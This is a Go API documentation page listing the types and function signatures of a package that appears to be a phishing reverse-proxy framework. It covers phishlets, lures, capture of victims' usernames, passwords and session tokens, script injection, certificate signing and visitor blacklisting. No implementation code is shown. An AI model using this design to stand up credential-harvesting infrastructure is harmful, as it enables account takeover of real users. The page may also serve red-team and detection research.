core

package
v0.1.3 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jan 5, 2023 License: GPL-3.0 Imports: 51 Imported by: 0

Documentation

Index

Constants

View Source
const (
	BLACKLIST_MODE_FULL   = 0
	BLACKLIST_MODE_UNAUTH = 1
	BLACKLIST_MODE_OFF    = 2
)
View Source
const (
	CFG_SITE_DOMAINS       = "site_domains"
	CFG_BASE_DOMAIN        = "server"
	CFG_SERVER_IP          = "ip"
	CFG_SITES_ENABLED      = "sites_enabled"
	CFG_SITES_HIDDEN       = "sites_hidden"
	CFG_REDIRECT_PARAM     = "redirect_key"
	CFG_VERIFICATION_PARAM = "verification_key"
	CFG_VERIFICATION_TOKEN = "verification_token"
	CFG_REDIRECT_URL       = "redirect_url"
	CFG_LURES              = "lures"
	CFG_PROXY_TYPE         = "proxy_type"
	CFG_PROXY_ADDRESS      = "proxy_address"
	CFG_PROXY_PORT         = "proxy_port"
	CFG_PROXY_USERNAME     = "proxy_username"
	CFG_PROXY_PASSWORD     = "proxy_password"
	CFG_PROXY_ENABLED      = "proxy_enabled"
	CFG_BLACKLIST_MODE     = "blacklist_mode"
)
View Source
const (
	CONVERT_TO_ORIGINAL_URLS = 0
	CONVERT_TO_PHISHING_URLS = 1
)
View Source
const (

	// borrowed from Modlishka project (https://github.com/drk1wi/Modlishka)
	MATCH_URL_REGEXP                = `` /* 965-byte string literal not displayed */
	MATCH_URL_REGEXP_WITHOUT_SCHEME = `` /* 926-byte string literal not displayed */
)
View Source
const (
	AlignLeft   = Alignment(0)
	AlignCenter = Alignment(1)
	AlignRight  = Alignment(2)
)
View Source
const (
	DEFAULT_PROMPT = ": "
	LAYER_TOP      = 1
)
View Source
const DEFAULT_REDIRECT_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" // Rick'roll
View Source
const HOSTS_DIR = "hosts"
View Source
const (
	VERSION = "2.4.2"
)

Variables

This section is empty.

Functions

func AsDescription

func AsDescription(keys []string, vals []string) string

func AsRows

func AsRows(keys []string, vals []string) string

func AsTable

func AsTable(columns []string, rows [][]string) string
func Banner()

func CreateDir

func CreateDir(path string, perm os.FileMode) error

func GenRandomAlphanumString

func GenRandomAlphanumString(n int) string

func GenRandomString

func GenRandomString(n int) string

func GenRandomToken

func GenRandomToken() string

Types

type Alignment

type Alignment int

type AuthToken

type AuthToken struct {
	// contains filtered or unexported fields
}

type Blacklist

type Blacklist struct {
	// contains filtered or unexported fields
}

func NewBlacklist

func NewBlacklist(path string) (*Blacklist, error)

func (*Blacklist) AddIP

func (bl *Blacklist) AddIP(ip string) error

func (*Blacklist) IsBlacklisted

func (bl *Blacklist) IsBlacklisted(ip string) bool

type BlockIP

type BlockIP struct {
	// contains filtered or unexported fields
}

type CertDb

type CertDb struct {
	PrivateKey *rsa.PrivateKey
	CACert     tls.Certificate
	// contains filtered or unexported fields
}

func NewCertDb

func NewCertDb(data_dir string, cfg *Config, ns *Nameserver, hs *HttpServer) (*CertDb, error)

func (*CertDb) GetHostnameCertificate

func (d *CertDb) GetHostnameCertificate(hostname string) (*tls.Certificate, error)

func (*CertDb) GetPhishletCertificate

func (d *CertDb) GetPhishletCertificate(site_name string, base_domain string) (*tls.Certificate, error)

func (*CertDb) Reset

func (d *CertDb) Reset()

func (*CertDb) SetupHostnameCertificate

func (d *CertDb) SetupHostnameCertificate(hostname string) error

func (*CertDb) SetupPhishletCertificate

func (d *CertDb) SetupPhishletCertificate(site_name string, domains []string) error

func (*CertDb) SignCertificateForHost

func (d *CertDb) SignCertificateForHost(host string, phish_host string, port int) (cert *tls.Certificate, err error)

type CertUser

type CertUser struct {
	Email        string
	Registration *registration.Resource
	// contains filtered or unexported fields
}

func (CertUser) GetEmail

func (u CertUser) GetEmail() string

func (CertUser) GetPrivateKey

func (u CertUser) GetPrivateKey() crypto.PrivateKey

func (CertUser) GetRegistration

func (u CertUser) GetRegistration() *registration.Resource

type Config

type Config struct {
	// contains filtered or unexported fields
}

func NewConfig

func NewConfig(cfg_dir string, path string) (*Config, error)

func (*Config) AddLure

func (c *Config) AddLure(site string, l *Lure)

func (*Config) AddPhishlet

func (c *Config) AddPhishlet(site string, pl *Phishlet)

func (*Config) DeleteLure

func (c *Config) DeleteLure(index int) error

func (*Config) DeleteLures

func (c *Config) DeleteLures(index []int) []int

func (*Config) EnableProxy

func (c *Config) EnableProxy(enabled bool)

func (*Config) GetAllDomains

func (c *Config) GetAllDomains() []string

func (*Config) GetBaseDomain

func (c *Config) GetBaseDomain() string

func (*Config) GetBlacklistMode

func (c *Config) GetBlacklistMode() string

func (*Config) GetEnabledSites

func (c *Config) GetEnabledSites() []string

func (*Config) GetLure

func (c *Config) GetLure(index int) (*Lure, error)

func (*Config) GetLureByPath

func (c *Config) GetLureByPath(site string, path string) (*Lure, error)

func (*Config) GetPhishlet

func (c *Config) GetPhishlet(site string) (*Phishlet, error)

func (*Config) GetPhishletNames

func (c *Config) GetPhishletNames() []string

func (*Config) GetServerIP

func (c *Config) GetServerIP() string

func (*Config) GetSiteDomain

func (c *Config) GetSiteDomain(site string) (string, bool)

func (*Config) GetTemplatesDir

func (c *Config) GetTemplatesDir() string

func (*Config) IsActiveHostname

func (c *Config) IsActiveHostname(host string) bool

func (*Config) IsLureHostnameValid

func (c *Config) IsLureHostnameValid(hostname string) bool

func (*Config) IsSiteEnabled

func (c *Config) IsSiteEnabled(site string) bool

func (*Config) IsSiteHidden

func (c *Config) IsSiteHidden(site string) bool

func (*Config) ResetAllSites

func (c *Config) ResetAllSites()

func (*Config) SetBaseDomain

func (c *Config) SetBaseDomain(domain string)

func (*Config) SetBlacklistMode

func (c *Config) SetBlacklistMode(mode string)

func (*Config) SetLure

func (c *Config) SetLure(index int, l *Lure) error

func (*Config) SetProxyAddress

func (c *Config) SetProxyAddress(address string)

func (*Config) SetProxyPassword

func (c *Config) SetProxyPassword(password string)

func (*Config) SetProxyPort

func (c *Config) SetProxyPort(port int)

func (*Config) SetProxyType

func (c *Config) SetProxyType(ptype string)

func (*Config) SetProxyUsername

func (c *Config) SetProxyUsername(username string)

func (*Config) SetRedirectParam

func (c *Config) SetRedirectParam(param string)

func (*Config) SetRedirectUrl

func (c *Config) SetRedirectUrl(url string)

func (*Config) SetServerIP

func (c *Config) SetServerIP(ip_addr string)

func (*Config) SetSiteDisabled

func (c *Config) SetSiteDisabled(site string) error

func (*Config) SetSiteEnabled

func (c *Config) SetSiteEnabled(site string) error

func (*Config) SetSiteHidden

func (c *Config) SetSiteHidden(site string, hide bool) error

func (*Config) SetSiteHostname

func (c *Config) SetSiteHostname(site string, domain string) bool

func (*Config) SetTemplatesDir

func (c *Config) SetTemplatesDir(path string)

func (*Config) SetVerificationParam

func (c *Config) SetVerificationParam(param string)

func (*Config) SetVerificationToken

func (c *Config) SetVerificationToken(token string)

type ConfigAuthToken

type ConfigAuthToken struct {
	Domain string   `mapstructure:"domain"`
	Keys   []string `mapstructure:"keys"`
}

type ConfigCredentials

type ConfigCredentials struct {
	Username *ConfigPostField   `mapstructure:"username"`
	Password *ConfigPostField   `mapstructure:"password"`
	Custom   *[]ConfigPostField `mapstructure:"custom"`
}

type ConfigForcePost

type ConfigForcePost struct {
	Path   *string                  `mapstructure:"path"`
	Search *[]ConfigForcePostSearch `mapstructure:"search"`
	Force  *[]ConfigForcePostForce  `mapstructure:"force"`
	Type   *string                  `mapstructure:"type"`
}

type ConfigForcePostForce

type ConfigForcePostForce struct {
	Key   *string `mapstructure:"key"`
	Value *string `mapstructure:"value"`
}

type ConfigForcePostSearch

type ConfigForcePostSearch struct {
	Key    *string `mapstructure:"key"`
	Search *string `mapstructure:"search"`
}

type ConfigJsInject

type ConfigJsInject struct {
	TriggerDomains *[]string `mapstructure:"trigger_domains"`
	TriggerPaths   *[]string `mapstructure:"trigger_paths"`
	TriggerParams  []string  `mapstructure:"trigger_params"`
	Script         *string   `mapstructure:"script"`
}

type ConfigLogin

type ConfigLogin struct {
	Domain *string `mapstructure:"domain"`
	Path   *string `mapstructure:"path"`
}

type ConfigPhishlet

type ConfigPhishlet struct {
	Name        string             `mapstructure:"name"`
	ProxyHosts  *[]ConfigProxyHost `mapstructure:"proxy_hosts"`
	SubFilters  *[]ConfigSubFilter `mapstructure:"sub_filters"`
	AuthTokens  *[]ConfigAuthToken `mapstructure:"auth_tokens"`
	AuthUrls    []string           `mapstructure:"auth_urls"`
	Credentials *ConfigCredentials `mapstructure:"credentials"`
	ForcePosts  *[]ConfigForcePost `mapstructure:"force_post"`
	LandingPath *[]string          `mapstructure:"landing_path"`
	LoginItem   *ConfigLogin       `mapstructure:"login"`
	JsInject    *[]ConfigJsInject  `mapstructure:"js_inject"`
}

type ConfigPostField

type ConfigPostField struct {
	Key    *string `mapstructure:"key"`
	Search *string `mapstructure:"search"`
	Type   string  `mapstructure:"type"`
}

type ConfigProxyHost

type ConfigProxyHost struct {
	PhishSub   *string `mapstructure:"phish_sub"`
	OrigSub    *string `mapstructure:"orig_sub"`
	Domain     *string `mapstructure:"domain"`
	Session    bool    `mapstructure:"session"`
	IsLanding  bool    `mapstructure:"is_landing"`
	AutoFilter *bool   `mapstructure:"auto_filter"`
}

type ConfigSubFilter

type ConfigSubFilter struct {
	Hostname     *string   `mapstructure:"triggers_on"`
	Sub          *string   `mapstructure:"orig_sub"`
	Domain       *string   `mapstructure:"domain"`
	Search       *string   `mapstructure:"search"`
	Replace      *string   `mapstructure:"replace"`
	Mimes        *[]string `mapstructure:"mimes"`
	RedirectOnly bool      `mapstructure:"redirect_only"`
	WithParams   *[]string `mapstructure:"with_params"`
}

type ForcePost

type ForcePost struct {
	// contains filtered or unexported fields
}

type ForcePostForce

type ForcePostForce struct {
	// contains filtered or unexported fields
}

type ForcePostSearch

type ForcePostSearch struct {
	// contains filtered or unexported fields
}

type HTTPChallenge

type HTTPChallenge struct {
	// contains filtered or unexported fields
}

func (HTTPChallenge) CleanUp

func (ch HTTPChallenge) CleanUp(domain, token, keyAuth string) error

func (HTTPChallenge) Present

func (ch HTTPChallenge) Present(domain, token, keyAuth string) error

type Help

type Help struct {
	// contains filtered or unexported fields
}

func NewHelp

func NewHelp() (*Help, error)

func (*Help) AddCommand

func (h *Help) AddCommand(cmd string, category string, cmd_help string, info string, layer int, completer *readline.PrefixCompleter)

func (*Help) AddSubCommand

func (h *Help) AddSubCommand(cmd string, sub_cmds []string, sub_disp string, cmd_help string)

func (*Help) GetCommands

func (h *Help) GetCommands() []string

func (*Help) GetPrefixCommands

func (h *Help) GetPrefixCommands(layer int) []string

func (*Help) GetPrefixCompleter

func (h *Help) GetPrefixCompleter(layer int) *readline.PrefixCompleter

func (*Help) Print

func (h *Help) Print(layer int)

func (*Help) PrintBrief

func (h *Help) PrintBrief(cmd string) error

type HttpProxy

type HttpProxy struct {
	Server *http.Server
	Proxy  *goproxy.ProxyHttpServer
	// contains filtered or unexported fields
}

func NewHttpProxy

func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, bl *Blacklist, wl *Whitelist, geoip_db *geoip2.Reader, developer bool) (*HttpProxy, error)

func (*HttpProxy) Start

func (p *HttpProxy) Start() error

func (*HttpProxy) TLSConfigFromCA

func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error)

type HttpServer

type HttpServer struct {
	// contains filtered or unexported fields
}

func NewHttpServer

func NewHttpServer() (*HttpServer, error)

func (*HttpServer) AddACMEToken

func (s *HttpServer) AddACMEToken(token string, keyAuth string)

func (*HttpServer) ClearACMETokens

func (s *HttpServer) ClearACMETokens()

func (*HttpServer) Start

func (s *HttpServer) Start()

type JsInject

type JsInject struct {
	// contains filtered or unexported fields
}

type LoginUrl

type LoginUrl struct {
	// contains filtered or unexported fields
}

type Lure

type Lure struct {
	Hostname        string `mapstructure:"hostname" yaml:"hostname"`
	Path            string `mapstructure:"path" yaml:"path"`
	RedirectUrl     string `mapstructure:"redirect_url" yaml:"redirect_url"`
	Phishlet        string `mapstructure:"phishlet" yaml:"phishlet"`
	Template        string `mapstructure:"template" yaml:"template"`
	UserAgentFilter string `mapstructure:"ua_filter" yaml:"ua_filter"`
	Info            string `mapstructure:"info" yaml:"info"`
	OgTitle         string `mapstructure:"og_title" yaml:"og_title"`
	OgDescription   string `mapstructure:"og_desc" yaml:"og_desc"`
	OgImageUrl      string `mapstructure:"og_image" yaml:"og_image"`
	OgUrl           string `mapstructure:"og_url" yaml:"og_url"`
}

type Nameserver

type Nameserver struct {
	// contains filtered or unexported fields
}

func NewNameserver

func NewNameserver(cfg *Config) (*Nameserver, error)

func (*Nameserver) AddTXT

func (n *Nameserver) AddTXT(fqdn string, value string, ttl int)

func (*Nameserver) ClearTXT

func (n *Nameserver) ClearTXT()

func (*Nameserver) Reset

func (n *Nameserver) Reset()

func (*Nameserver) Start

func (n *Nameserver) Start()

type Phishlet

type Phishlet struct {
	Site    string
	Name    string
	Author  string
	Version PhishletVersion
	// contains filtered or unexported fields
}

func NewPhishlet

func NewPhishlet(site string, path string, cfg *Config) (*Phishlet, error)

func (*Phishlet) Clear

func (p *Phishlet) Clear()

func (*Phishlet) GenerateTokenSet

func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[string]map[string]string

func (*Phishlet) GetLandingUrls

func (p *Phishlet) GetLandingUrls(redirect_url string, inc_token bool) ([]string, error)

func (*Phishlet) GetLoginUrl

func (p *Phishlet) GetLoginUrl() string

func (*Phishlet) GetLureUrl

func (p *Phishlet) GetLureUrl(path string) (string, error)

func (*Phishlet) GetPhishHosts

func (p *Phishlet) GetPhishHosts() []string

func (*Phishlet) GetScriptInject

func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[string]string) (string, error)

func (*Phishlet) LoadFromFile

func (p *Phishlet) LoadFromFile(site string, path string) error

func (*Phishlet) MimeExists

func (p *Phishlet) MimeExists(mime string) bool

type PhishletVersion

type PhishletVersion struct {
	// contains filtered or unexported fields
}

type PostField

type PostField struct {
	// contains filtered or unexported fields
}

type ProxyHost

type ProxyHost struct {
	// contains filtered or unexported fields
}

type ProxySession

type ProxySession struct {
	SessionId   string
	Created     bool
	PhishDomain string
	Index       int
}

type Session

type Session struct {
	Id            string
	Name          string
	Username      string
	Password      string
	Custom        map[string]string
	Params        map[string]string
	Tokens        map[string]map[string]*database.Token
	RedirectURL   string
	IsDone        bool
	IsAuthUrl     bool
	IsForwarded   bool
	RedirectCount int
	PhishLure     *Lure
}

func NewSession

func NewSession(name string) (*Session, error)

func (*Session) AddAuthToken

func (s *Session) AddAuthToken(domain string, key string, value string, path string, http_only bool, authTokens map[string][]*AuthToken) bool

func (*Session) SetCustom

func (s *Session) SetCustom(name string, value string)

func (*Session) SetPassword

func (s *Session) SetPassword(password string)

func (*Session) SetUsername

func (s *Session) SetUsername(username string)

type SubFilter

type SubFilter struct {
	// contains filtered or unexported fields
}

type TXTField

type TXTField struct {
	// contains filtered or unexported fields
}

type Terminal

type Terminal struct {
	// contains filtered or unexported fields
}

func NewTerminal

func NewTerminal(p *HttpProxy, cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*Terminal, error)

func (*Terminal) Close

func (t *Terminal) Close()

func (*Terminal) DoWork

func (t *Terminal) DoWork()

type Whitelist

type Whitelist struct {
	// contains filtered or unexported fields
}

func NewWhitelist

func NewWhitelist(path string, dbPath string) (*Whitelist, error, *geoip2.Reader)

func (*Whitelist) AddCountry

func (wl *Whitelist) AddCountry(c string)

func (*Whitelist) DeleteCountry

func (wl *Whitelist) DeleteCountry(c string)

func (*Whitelist) IsIPFromWhitelistedCountry

func (wl *Whitelist) IsIPFromWhitelistedCountry(ip string, db *geoip2.Reader) bool

func (*Whitelist) WriteToFile

func (wl *Whitelist) WriteToFile()

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL